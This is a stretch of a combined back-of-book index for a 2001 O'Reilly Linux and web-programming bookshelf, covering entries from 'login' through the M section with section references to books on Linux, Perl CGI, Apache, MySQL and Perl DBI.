login command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
login command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
login command (CVS): 14.4.7.13. login (Linux in a Nutshell)
.login file: 4.15. Startup Files (Running Linux)
login manager, KDE: 16.3.1.1. Login manager (root only) (Linux in a Nutshell)
login prompt: 3.3.1. Problems with Booting the Installation Media (Running Linux)
4.1. Logging In (Running Linux)
login shell (see shells)
loginfo file (CVS): 14.3.3.8. The loginfo file (Linux in a Nutshell)
14.3.3.8. The loginfo file (Linux in a Nutshell)
(see also commitinfo file)
logins
401 status code responses, asking for: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
resources, restricting with: 2.4.2.10. WWW-Authenticate (CGI Programming with Perl)
restricted areas (websites), accessing with: 2.3.2.4. Authorization (CGI Programming with Perl)
Logitech mice: 10.4. Configuring XFree86 (Running Linux)
logname command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
logon command (CVS) (see login command (CVS))
logout command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
logout command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
logout command (CVS): 14.4.7.14. logout (Linux in a Nutshell)
logrotate command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
logs
printer error: 8.4.5.3. The rest of the printcap variables (Running Linux)
rotating: 8.3. Managing System Logs (Running Linux)
system: 8.3. Managing System Logs (Running Linux)
logs directory: 2.1. What Is a Web Site? (Apache: The Definitive Guide)
specifying location of: 3.4.8. ServerRoot (Apache: The Definitive Guide)
LONG datatype: 6.1.4. Common Attributes (Programming the Perl DBI)
6.2. Handling LONG/LOB Data (Programming the Perl DBI)
long values, truncating: 6.1.4. Common Attributes (Programming the Perl DBI)
6.2. Handling LONG/LOB Data (Programming the Perl DBI)
LONG VARBINARY datatype: 15.1. MySQL SQL (MySQL & mSQL)
LONG VARCHAR datatype: 15.1. MySQL SQL (MySQL & mSQL)
LONGBLOB datatype: 6.3.3. Binary Datatypes (MySQL & mSQL)
15.1. MySQL SQL (MySQL & mSQL)
LongReadLen attribute: 6.1.4. Common Attributes (Programming the Perl DBI)
A.5. Attributes Common to All Handles (Programming the Perl DBI)
LOB data and: 6.2. Handling LONG/LOB Data (Programming the Perl DBI)
RaiseError and: 6.2. Handling LONG/LOB Data (Programming the Perl DBI)
LONGTEXT datatype: 6.3.2.1. Variable-length character fields in MySQL (MySQL & mSQL)
15.1. MySQL SQL (MySQL & mSQL)
LongTruncOk attribute: 6.1.4. Common Attributes (Programming the Perl DBI)
A.5. Attributes Common to All Handles (Programming the Perl DBI)
LOB data and: 6.2. Handling LONG/LOB Data (Programming the Perl DBI)
RaiseError and: 6.1.4. Common Attributes (Programming the Perl DBI)
look-and-feel, GNOME desktop: B.3. The GNOME Desktop: A User's Point of View (Running Linux)
look command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
looks_like_number( ) function: 4.6.4. Numeric Testing (Programming the Perl DBI)
A.3.2. DBI Utility Functions (Programming the Perl DBI)
loopback address: 15.1.1. TCP/IP Concepts (Running Linux)
15.1.3.1. Your network configuration (Running Linux)
loopback addresses: 2.4.2. Running Apache Under Unix (Apache: The Definitive Guide)
loops: 7.7. Built-in Commands (Linux in a Nutshell)
7.7. Built-in Commands (Linux in a Nutshell)
creating with HTML::Template: 6.3.1.1. Loops (CGI Programming with Perl)
parameters as conditions: 6.3.1.2. Conditionals (CGI Programming with Perl)
lossless data compression: 13.1.1. GIF (CGI Programming with Perl)
lossy compression algorithm, use in JPEG format: 13.1.3. JPEG (CGI Programming with Perl)
Lout package: 8.4.4. Checking Print Utilities (Running Linux)
LOWER( ) function: 15.1. MySQL SQL (MySQL & mSQL)
lowercase (see case)
lowercase attribute names: 6.1.3. The Significance of Case (Programming the Perl DBI)
lowercase index, creating: 12.3. Inverted Index Search (CGI Programming with Perl)
lp# files: 8.4.1. Checking Printer Hardware (Running Linux)
lp command: 9.5. Printing (Running Linux)
lp variable (printcap): 8.4.5.3. The rest of the printcap variables (Running Linux)
LPAD( ) function: 15.1. MySQL SQL (MySQL & mSQL)
lpadmin command: 9.5. Printing (Running Linux)
lpc command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
lpc utility: 8.4.7. Print Filters (Running Linux)
8.4.11. Exercising the Printer Daemon (Running Linux)
8.4.12. Controlling Printer Services with lpc (Running Linux)
9.5. Printing (Running Linux)
lpd daemon: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
8.4. Managing Print Services (Running Linux)
8.4.11. Exercising the Printer Daemon (Running Linux)
8.4.14. Printer System Troubleshooting (Running Linux)
9.5.1. What Happens to a File After It's Put on the Queue (Running Linux)
lpq command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
9.5. Printing (Running Linux)
lpr command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
9.5. Printing (Running Linux)
lprm command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
9.5. Printing (Running Linux)
lpstat command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
9.5. Printing (Running Linux)
lptest command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
8.4.11. Exercising the Printer Daemon (Running Linux)
lptest file: 8.4.1. Checking Printer Hardware (Running Linux)
lptest utility: 8.4.1. Checking Printer Hardware (Running Linux)
ls command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
4.4.2. Listing Files (Running Linux)
ls-F command (tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
lsattr command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
LSM (Linux Software Map): A.1. Online Documents (Running Linux)
lsmod command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
7.5. Loadable Device Drivers (Running Linux)
LTRIM( ) function: 15.1. MySQL SQL (MySQL & mSQL)
LUG (Linux User Groups): 0.1.5. Linux User Groups (Linux in a Nutshell)
LUN (Logical Unit Number): 3.1.1. Booting Linux (Running Linux)
LWP module: 8.2.5. Trusting the Browser (CGI Programming with Perl)
14.1.3. LWP (CGI Programming with Perl)
14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
LWP::Simple module: 14.1.3. LWP (CGI Programming with Perl)
14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
get subroutine: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
Lynx browser: 16.1.1. Using Netscape Navigator (Running Linux)
LyX package: 9.3.4. Word Processors (Running Linux)
LZW compression algorithm: 13.1.1. GIF (CGI Programming with Perl)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: M

-M operator: 6.2. Server Side Includes (CGI Programming with Perl)
12.3.1. Search Application (CGI Programming with Perl)
M- commands, Emacs: 10.4.2. Meta-Key Sequences (Linux in a Nutshell)
m4 processor: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
MAC algorithm: D.1.3. Detecting Attacks Against the Handshake Protocol (Apache: The Definitive Guide)
D.2. Protecting Application Data (Apache: The Definitive Guide)
Mac version of mSQL: 5.3. Installing mSQL (MySQL & mSQL)
machine
architecture type: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
remote (see remote)
uptime for: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
machine-readable Web language: 14.2. An Introduction to XML (CGI Programming with Perl)
Macintosh emulator: 12.2. Sharing Programs (Running Linux)
Macintosh, Linux on: D. LinuxPPC: Installing Linux on PowerPC Computers (Running Linux)
hardware concerns: D.6. Getting Hardware to Do What You Want It to Do (Running Linux)
kernel and library concerns: D.2. Kernel and Library Issues (Running Linux)
preparing to boot: D.3. Preparing to Boot LinuxPPC (Running Linux)
Red Hat Installer: D.4. Using the Red Hat Installer (Running Linux)
macros
ctags command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
Emacs: 9.2.6. Macros (Running Linux)
Emacs commands: 10.3.15. Macro Commands (Linux in a Nutshell)
m4 processor: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
make: 13.2.3. Macros (Running Linux)
make utility: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
vi commands for: 11.9. Macros (Linux in a Nutshell)
magic file: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
Magic-Filter: 8.4.9. Magic Filters: APSfilter and Alternatives (Running Linux)
magic filters, printing: 8.4.9. Magic Filters: APSfilter and Alternatives (Running Linux)
mail: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
administration commands for: 2.1.6. Mail (Linux in a Nutshell)
bash shell variables for: 7.4.2. Built-in Shell Variables (Linux in a Nutshell)
filtering stdin to mailbox format: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
notifying user of incoming: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
printing aliases: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
remote: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
retrieving from mail servers: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
mail( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
mail and mailx programs: 9.5. mailx and mail (CGI Programming with Perl)
Mail::Mailer module, using with: 9.6. Perl Mailers (CGI Programming with Perl)
Mail Exchange (MX) records: 13.4.2.2. Disadvantages (Apache: The Definitive Guide)
mail order, obtaining Linux via: 2.1.1. Getting Linux via Mail Order or Other Hard Media (Running Linux)
mail queue: 9.4.2. Mail Queue (CGI Programming with Perl)
mail readers: 1.5.7. Networking (Running Linux)
9.2.7. Running Commands and Programming Within Emacs (Running Linux)
mail transport agents (MTAs): 9.4. sendmail (CGI Programming with Perl)
mail variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
mailers, shells and: 9.1.1. Mailers and Shells (CGI Programming with Perl)
mailing list, dbi-users: A.9.4. Mailing List (Programming the Perl DBI)
mailing lists
AlphaLinux: C.4.1.2. AlphaLinux mailing lists (Running Linux)
Linux documentation via: 1.10.4. Internet Mailing Lists (Running Linux)
Mail::Mailer module: 9.6. Perl Mailers (CGI Programming with Perl)
mailq command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
.mailrc file: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
mailstats command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
main( ): 13.6.3. A Working Example of Java (Running Linux)
main menu, GNOME: 15.3. The Main Menu (Linux in a Nutshell)
maintaining state: 11. Maintaining State (CGI Programming with Perl)
client-side cookies: 11.3. Client-Side Cookies (CGI Programming with Perl)
hidden fields: 11.2. Hidden Fields (CGI Programming with Perl)
query strings and extra path information: 11.1. Query Strings and Extra Path Information (CGI Programming with Perl)
techniques, summary of: 11. Maintaining State (CGI Programming with Perl)
maintenance page, DBI address book (example): 10.4.2.2. Address book CGI script (CGI Programming with Perl)
major device number: 6.3. Device Files (Running Linux)
make clean program: 7.4.2. Building the Kernel (Running Linux)
make config program: 7.4.2. Building the Kernel (Running Linux)
make dep program: 7.4.2. Building the Kernel (Running Linux)
make menuconfig program: 7.4.2. Building the Kernel (Running Linux)
make program: 13.2. Makefiles (Running Linux)
13.2.1. What make Does (Running Linux)
14.2.4. make and imake (Running Linux)
make utility: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
imake interface: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
make zImage command: 7.4.2. Building the Kernel (Running Linux)
make_array( ): 14.6.2. Array Functions (Apache: The Definitive Guide)
makedbm command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
makedepend utility (imake): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
MAKEDEV script: 6.3. Device Files (Running Linux)
make_dirstr( ): 14.6.12. Path, Filename, and URL Manipulation Functions (Apache: The Definitive Guide)
Makefile file: 1.8.2. Semimanual Method (Apache: The Definitive Guide)
7.2.3. Upgrading Other Software (Running Linux)
makefiles: 13.2. Makefiles (Running Linux)
14.2.4. make and imake (Running Linux)
shell commands in: 13.2.5. Multiple Commands (Running Linux)
syntax for: 13.2.2. Some Syntax Rules (Running Linux)
make_full_path( ): 14.6.12. Path, Filename, and URL Manipulation Functions (Apache: The Definitive Guide)
makeinfo command: 9.3.3.2. Formatting Texinfo (Running Linux)
makemap command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
make_sub_pool( ): 14.6.1. Pool Functions (Apache: The Definitive Guide)
make_table( ): 14.6.3. Table Functions (Apache: The Definitive Guide)
man command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.2.2. Getting Online Help (Running Linux)
4.12. Manual Pages (Running Linux)
man directories: 9.3.2.2. Formatting and installing the manual page (Running Linux)
man pages: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
(see also documentation)
searching: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
managers, package: 5. Red Hat and Debian Package Managers (Linux in a Nutshell)
manpath command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
MANPATH variable: 4.12. Manual Pages (Running Linux)
manual installation, modules: B.1.1. Installing Modules (CGI Programming with Perl)
manual lock files, creating: 10.1.1.2. Manual lock files (CGI Programming with Perl)
manual pages: 3.2.2. Getting Online Help (Running Linux)
4.12. Manual Pages (Running Linux)
7.2.3. Upgrading Other Software (Running Linux)
Elm mailer: 16.2.4.3. Elm documentation (Running Linux)
formatting with groff: 9.3.2. groff (Running Linux)
writing with groff: 9.3.2.1. Writing a manual page (Running Linux)
X Window System and: 11.4.9. xman: A Point-and-Click Interface to Manual Pages (Running Linux)
manually constructed URLs, passing parameters without equal sign (=): 4.3. Decoding Form Input (CGI Programming with Perl)
many-to-many relationships: 2.2.5. Kinds of Relationships (MySQL & mSQL)
2.4. Physical Database Design (MySQL & mSQL)
map command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
map file: 5.2.2.1. The /etc/lilo.conf file (Running Linux)
map= option (LILO): G.1. Global Options (Running Linux)
maps, NIS: 2.6.3. NIS Maps (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
mark command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
marks: 9.1.10. Global Searching and Replacing (Running Linux)
9.2.4. Deleting, Copying, and Moving Text (Running Linux)
markup languages: 1.5.2. Text Processing and Word Processing (Running Linux)
Mason module: 6.5. Mason (CGI Programming with Perl)
masquerading: 2.4. Overview of Firewalls and Masquerading (Linux in a Nutshell)
ipchains and: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
ipfwadm and: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
iptables and: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
master boot record: 2.2.2. Repartitioning Concepts (Running Linux)
master boot record (MBR): 5.2.2.4. Removing LILO (Running Linux)
4.1. The Boot Process (Linux in a Nutshell)
match command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
matchbeep variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
math coprocessor: 1.9.1. Motherboard and CPU Requirements (Running Linux)
3.1.1. Booting Linux (Running Linux)
math emulation: 7.4.2. Building the Kernel (Running Linux)
Mattis, Peter: B.2. A Brief History of the GNOME Project (Running Linux)
mattrib utility: 12.1.4. Utilities for Accessing DOS Filesystems: MTools (Running Linux)
MAX( ) function: 15.1. MySQL SQL (MySQL & mSQL)
Max connections: 5.5.1.4. Server status (MySQL & mSQL)
max_allowed_packet option: 16.1.2. Command line variables (MySQL & mSQL)
MaxClients directive: 3.6.1. MaxClients (Apache: The Definitive Guide)
max_connections option: 16.1.2. Command line variables (MySQL & mSQL)
max_connections variable: 4.6. Performance Tuning (MySQL & mSQL)
max_join_size option: 16.1.2. Command line variables (MySQL & mSQL)
MAXLENGTH attribute (text fields): 4.2.3.1. Text fields (CGI Programming with Perl)
MaxRequestsPerChild directive: 3.6.2. MaxRequestsPerChild (Apache: The Definitive Guide)
max_scsi_luns= parameter (linux): 3.1.1. Booting Linux (Running Linux)
max_sort_length option: 16.1.2. Command line variables (MySQL & mSQL)
MaxSpareServers directive: 3.6.3. MaxSpareServers (Apache: The Definitive Guide)
MBR (master boot record): 5.2.2.4. Removing LILO (Running Linux)
mcd= parameter (linux): 3.1.1. Booting Linux (Running Linux)
mcd utility: 12.1.4. Utilities for Accessing DOS Filesystems: MTools (Running Linux)
mcopy utility: 12.1.4. Utilities for Accessing DOS Filesystems: MTools (Running Linux)
md5( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
MD5 digest authentication: 5.7. Digest Authentication (Apache: The Definitive Guide)
MD5 functions: 14.6.8. MD5 Functions (Apache: The Definitive Guide)
MD5 hash algorithm: 8.3. Encryption (CGI Programming with Perl)
8.3.1. MD5 (CGI Programming with Perl)
11.1. Query Strings and Extra Path Information (CGI Programming with Perl)
mdel utility: 12.1.4. Utilities for Accessing DOS Filesystems: MTools (Running Linux)
MDI (Multiple Document Interface) and GNOME: 15.4.7.3. MDI (Linux in a Nutshell)
mdir utility: 12.1.4. Utilities for Accessing DOS Filesystems: MTools (Running Linux)
media types: 1.2. Introduction to CGI (CGI Programming with Perl)
Accept header, checking for: 13.5.2. Converting PNGs to GIFs or JPEGs (CGI Programming with Perl)
application/x-www-form-urlencoded: 4.1. Sending Data to the Server (CGI Programming with Perl)
checking client browser for supported: 3.4.1. Check the Client Browser (CGI Programming with Perl)
content negotiation and: 2.6. Content Negotiation (CGI Programming with Perl)
encoding HTTP requests, specifying with ENCTYPE attribute: 4.2.2. The <FORM> Tag (CGI Programming with Perl)
forms, multipart/form-data: 4.1. Sending Data to the Server (CGI Programming with Perl)
header method, specifying with: 5.3.1.1. Media type (CGI Programming with Perl)
HTTP Media Types specification: A.4. Other Specifications (CGI Programming with Perl)
JPEG files, differing from file extension: 13.2.1. An Example (CGI Programming with Perl)
registered for web (IANA registry): 2.4.2.3. Content-Type (CGI Programming with Perl)
MEDIUMBLOB datatype: 15.1. MySQL SQL (MySQL & mSQL)
MEDIUMINT datatype: 15.1. MySQL SQL (MySQL & mSQL)
MEDIUMTEXT datatype: 6.3.2.1. Variable-length character fields in MySQL (MySQL & mSQL)
15.1. MySQL SQL (MySQL & mSQL)
mem= parameter (linux): 3.1.1. Booting Linux (Running Linux)
5.2.2.3. Specifying boot time options (Running Linux)
meminfo file: 5.6. The /proc filesystem (Running Linux)
memory: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
0.1. Why People Like Linux (Running Linux)
1.4.3. Kernel (Running Linux)
6.2. Managing Swap Space (Running Linux)
(see also swap space)
address, cannot access error: 14.1.2. Examining a Core File (Running Linux)
checking in /proc filesystem: 5.6. The /proc filesystem (Running Linux)
disk usage: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
Dosemu requirements: 12.2.1. DOS Emulators: Dosemu and xdos (Running Linux)
du command: 4.9. Saving Your Output (Running Linux)
free disk space: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
fvwm requirements: 11.2. The fvwm Window Manager (Running Linux)
hardware problems: 3.3.2.1. Isolating hardware problems (Running Linux)
hung system and: 3.3.1. Problems with Booting the Installation Media (Running Linux)
informing kernel of RAM: 5.2.2.3. Specifying boot time options (Running Linux)
insufficient: 3.3.3. Problems Installing the Software (Running Linux)
limiting for CGI scripts: 4.3.7. RLimitMEM (Apache: The Definitive Guide)
Linux requirements: 1.9.2. Memory Requirements (Running Linux)
MTRR (Memory Type Range Register): 7.4.2. Building the Kernel (Running Linux)
out-of-memory errors: 3.3.1. Problems with Booting the Installation Media (Running Linux)
pools: 14.6.1. Pool Functions (Apache: The Definitive Guide)
print jobs: 8.4.5.3. The rest of the printcap variables (Running Linux)
removable storage devices: 1.9.6.3. Tape drives and removable storage (Running Linux)
requirements for backups: 8.1. Making Backups (Running Linux)
shutting down improperly: 3.2.4. Shutting Down the System (Running Linux)
variable storage address: 14.1.5. Getting Information (Running Linux)
violations: 14.1.2. Examining a Core File (Running Linux)
14.2.5. Using Checker (Running Linux)
virtual (see swap space)
Wine emulator: 12.2.4. Windows Emulation: Wine (Running Linux)
X Window System requirements: 10.2. Hardware Requirements (Running Linux)
memory cache, DB_File: 12.3. Inverted Index Search (CGI Programming with Perl)
memory management, problems with symbol aliases: 5.1.3. Standard and Object-Oriented Syntax (CGI Programming with Perl)
memory-mapped I/O: 3.3.2.3. Problems with SCSI controllers and devices (Running Linux)
menu bar (Emacs): 11.4.7. Emacs (Running Linux)
menu editor, GNOME: 15.3.2. Editing the Menu (Linux in a Nutshell)
menu panel, GNOME desktop: 15.2.1. Additional Panels (Linux in a Nutshell)
menu settings, GNOME panel: 15.4.2.4. Menu (Linux in a Nutshell)
menus: 4.2.4. The <SELECT> Tag (CGI Programming with Perl)
fvwm: 11.2.2. More Customizations (Running Linux)
menus for imagemaps: 7.3.5. ImapMenu (Apache: The Definitive Guide)
merge command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
merge_env_server_configs( ): 15.3.3.1. Example (Apache: The Definitive Guide)
mergers: 15.3.3. Per-Server Merger (Apache: The Definitive Guide)
merging model, CVS utility: 14.1.1. Locking and Merging (Linux in a Nutshell)
mesg command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
message digests
entity tags and: 2.4.2.5. ETag (CGI Programming with Perl)
MD5 hash algorithm: 8.3.1. MD5 (CGI Programming with Perl)
SHA-1, producing with: 8.3.2. SHA-1 (CGI Programming with Perl)
message= option (LILO): G.1. Global Options (Running Linux)
messages
error (see errors)
kernel boot: 5.3.1. Kernel Boot Messages (Running Linux)
sending to all users on host: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
system: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
to terminals: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
writing to all users: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
messages, error (see error messages)
meta-commands, HTML::Embperl module: 6.4.2.1. Embperl code blocks (CGI Programming with Perl)
6.4.2.3. Meta-commands (CGI Programming with Perl)
meta data, definition: 14.3.1. Meta Data (MySQL & mSQL)
META-FAQ, Linux: A.1. Online Documents (Running Linux)
meta-information (HTTP request/response headers): 2.2.1. The Request and Response Cycle (CGI Programming with Perl)
meta tags, reference to hash containing: 5.3.2.1. start_html (CGI Programming with Perl)
metacharacters: 9.1. Filenames Versus Patterns (Linux in a Nutshell)
9.2. Metacharacters, Listed by Linux Program (Linux in a Nutshell)
filename matching: 8.3.2. Filename Metacharacters (Linux in a Nutshell)
9.1. Filenames Versus Patterns (Linux in a Nutshell)
metadata
database: 6.1.6. Database Metadata (Programming the Perl DBI)
functions, ODBC: 7.3.3. Rich Metadata (Programming the Perl DBI)
statement: 6.1.7. Statement Handle Attributes or Statement Metadata (Programming the Perl DBI)
MetaDir directive: 3.14.2. MetaDir (Apache: The Definitive Guide)
metafiles (CERN): 3.14. CERN Metafiles (Apache: The Definitive Guide)
MetaFiles directive: 3.14.1. MetaFiles (Apache: The Definitive Guide)
METAFONT system: 1.5.2. Text Processing and Word Processing (Running Linux)
MetaSuffix directive: 3.14.3. MetaSuffix (Apache: The Definitive Guide)
METHOD attribute: 4.2.2. The <FORM> Tag (CGI Programming with Perl)
method attribute (HTML): 16.1.5.1. The HTML form document (Running Linux)
tag (HTML): 4.1.3. The Form (Apache: The Definitive Guide)
methods
accessor: 2.7.3.3. Object accessor methods (Programming the Perl DBI)
available_drivers( ): 4.3. Data Source Names (Programming the Perl DBI)
A.3.1. DBI Class Methods (Programming the Perl DBI)
bind_col( ): 5.4. Binding Output Columns (Programming the Perl DBI)
A.7.1.1. Datatypes for placeholders (Programming the Perl DBI)
bind_columns( ): 5.4. Binding Output Columns (Programming the Perl DBI)
A.7.1.1. Datatypes for placeholders (Programming the Perl DBI)
bind_param( ): 5.3. Binding Parameters to Statements (Programming the Perl DBI)
5.3.3. Binding Input and Output Parameters (Programming the Perl DBI)
6.2.1. Inserting and Updating LONG/LOB Columns (Programming the Perl DBI)
A.7.1. Statement Handle Methods (Programming the Perl DBI)
bind_param_inout( ): 5.3.3. Binding Input and Output Parameters (Programming the Perl DBI)
A.7.1.1. Datatypes for placeholders (Programming the Perl DBI)
cancel( ): A.8.2. Signal Handling and Canceling Operations (Programming the Perl DBI)
CGI.pm
environment information: 5.2.1. Environment Information (CGI Programming with Perl)
for HTML form elements: 5.3.4. Form Elements (CGI Programming with Perl)
commit( ): 4.4.2. Disconnection (Programming the Perl DBI)
6.3.1. Automatic Transaction Handling (Programming the Perl DBI)
A.6.1. Database Handle Methods (Programming the Perl DBI)
connect( ): 4.2.1. Driver Handles (Programming the Perl DBI)
4.3. Data Source Names (Programming the Perl DBI)
4.4.1. Connection (Programming the Perl DBI)
4.5.1.1. Manual error checking (Programming the Perl DBI)
6.1.2. Connecting with Attributes (Programming the Perl DBI)
8.2.1.2. Connecting to the proxy server (Programming the Perl DBI)
A.3.1. DBI Class Methods (Programming the Perl DBI)
connect_cached( ): A.3.1. DBI Class Methods (Programming the Perl DBI)
data_sources( ): 4.2.1. Driver Handles (Programming the Perl DBI)
4.3. Data Source Names (Programming the Perl DBI)
A.3.1. DBI Class Methods (Programming the Perl DBI)
die( ): 4.5.1. Automatic Versus Manual Error Checking (Programming the Perl DBI)
5.1.2. Executing Select Statements (Programming the Perl DBI)
5.1.4. Finishing a Data Fetch Early (Programming the Perl DBI)
6.1.4. Common Attributes (Programming the Perl DBI)
disconnect( ): 4.4.2. Disconnection (Programming the Perl DBI)
5.1.4. Finishing a Data Fetch Early (Programming the Perl DBI)
6.3.4. Disconnecting, One Way or Another (Programming the Perl DBI)
A.6.1. Database Handle Methods (Programming the Perl DBI)
do( ): 5.2. Executing Non-SELECT Statements (Programming the Perl DBI)
(Programming the Perl DBI) 5.5. do( ) Versus prepare( )
A.6.1. Database Handle Methods (Programming the Perl DBI)
dump_results( ): 5.1.3.1. A quick way to fetch and print (Programming the Perl DBI)
A.7.1.1. Datatypes for placeholders (Programming the Perl DBI)
error diagnostic: 4.5.2. Error Diagnostics (Programming the Perl DBI)
eval( ): 2.5.1. The Perl Data::Dumper Module (Programming the Perl DBI)
execute( ): 5.1.1. Preparing SQL Statements (Programming the Perl DBI)
(Programming the Perl DBI) 5.3.4. Binding Values Without bind_ param( )
A.7.1.1. Datatypes for placeholders (Programming the Perl DBI)
fd( ): 2.7.2. Locking Strategies (Programming the Perl DBI)
fetch( ): 5.4. Binding Output Columns (Programming the Perl DBI)
fetchall_arrayref( ): 5.6.2. Batch Fetching (Programming the Perl DBI)
A.7.1.1. Datatypes for placeholders (Programming the Perl DBI)
fetchrow_array( ): 5.1.3. Fetching Data (Programming the Perl DBI)
6.2. Handling LONG/LOB Data (Programming the Perl DBI)
7.4.2. Win32::ODBC (Programming the Perl DBI)
A.7.1.1. Datatypes for placeholders (Programming the Perl DBI)
fetchrow_arrayref( ): 5.1.3. Fetching Data (Programming the Perl DBI)
A.7.1.1. Datatypes for placeholders (Programming the Perl DBI)
fetchrow_hashref( ): 5.1.3. Fetching Data (Programming the Perl DBI)
7.4.2. Win32::ODBC (Programming the Perl DBI)
A.7.1.1. Datatypes for placeholders (Programming the Perl DBI)
finish( ): 5.1.4. Finishing a Data Fetch Early (Programming the Perl DBI)
A.7.1.1. Datatypes for placeholders (Programming the Perl DBI)
flock( ): 2.6. Concurrent Database Access and Locking (Programming the Perl DBI)
2.7.2. Locking Strategies (Programming the Perl DBI)
freeze( ): 2.5.2. The Storable Module (Programming the Perl DBI)
functions vs. in Perl: 5.1.3. Standard and Object-Oriented Syntax (CGI Programming with Perl)
get_dup( ): 2.7.3.5. Chaining multiple values into a hash (Programming the Perl DBI)
HTTP requests
GET: 2.3.1.2. GET (CGI Programming with Perl)
HEAD: 2.3.1.3. HEAD (CGI Programming with Perl)
not supported by requested resource: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
POST: 2.3.1.4. POST (CGI Programming with Perl)
PUT and Delete: 2.3.1.1. PUT and DELETE (CGI Programming with Perl)
join( ): 2.5.1. The Perl Data::Dumper Module (Programming the Perl DBI)
2.7.3.1. Localized storage and retrieval (Programming the Perl DBI)
nfreeze( ): 2.5.2. The Storable Module (Programming the Perl DBI)
pack( ): 2.5.1. The Perl Data::Dumper Module (Programming the Perl DBI)
2.7.3.1. Localized storage and retrieval (Programming the Perl DBI)
2.7.3.2. Packing in Perl objects (Programming the Perl DBI)
ping( ): A.6.1. Database Handle Methods (Programming the Perl DBI)
prepare( ): 4.6.2. Tracing DBI Execution (Programming the Perl DBI)
5.1.1. Preparing SQL Statements (Programming the Perl DBI)
A.6.1. Database Handle Methods (Programming the Perl DBI)
prepare_cached( ): A.6.1. Database Handle Methods (Programming the Perl DBI)
quote( ): 4.6.1. Database-Specific Quote Handling (Programming the Perl DBI)
4.6.4. Numeric Testing (Programming the Perl DBI)
5.2. Executing Non-SELECT Statements (Programming the Perl DBI)
A.6.1. Database Handle Methods (Programming the Perl DBI)
rollback( ): 4.4.2. Disconnection (Programming the Perl DBI)
6.3.3. Rolling Back Changes (Programming the Perl DBI)
A.6.1. Database Handle Methods (Programming the Perl DBI)
rows( ): A.7.1.1. Datatypes for placeholders (Programming the Perl DBI)
selectall_arrayref( ): 5.6.2. Batch Fetching (Programming the Perl DBI)
A.6.1. Database Handle Methods (Programming the Perl DBI)
selectcol_arrayref( ): A.6.1. Database Handle Methods (Programming the Perl DBI)
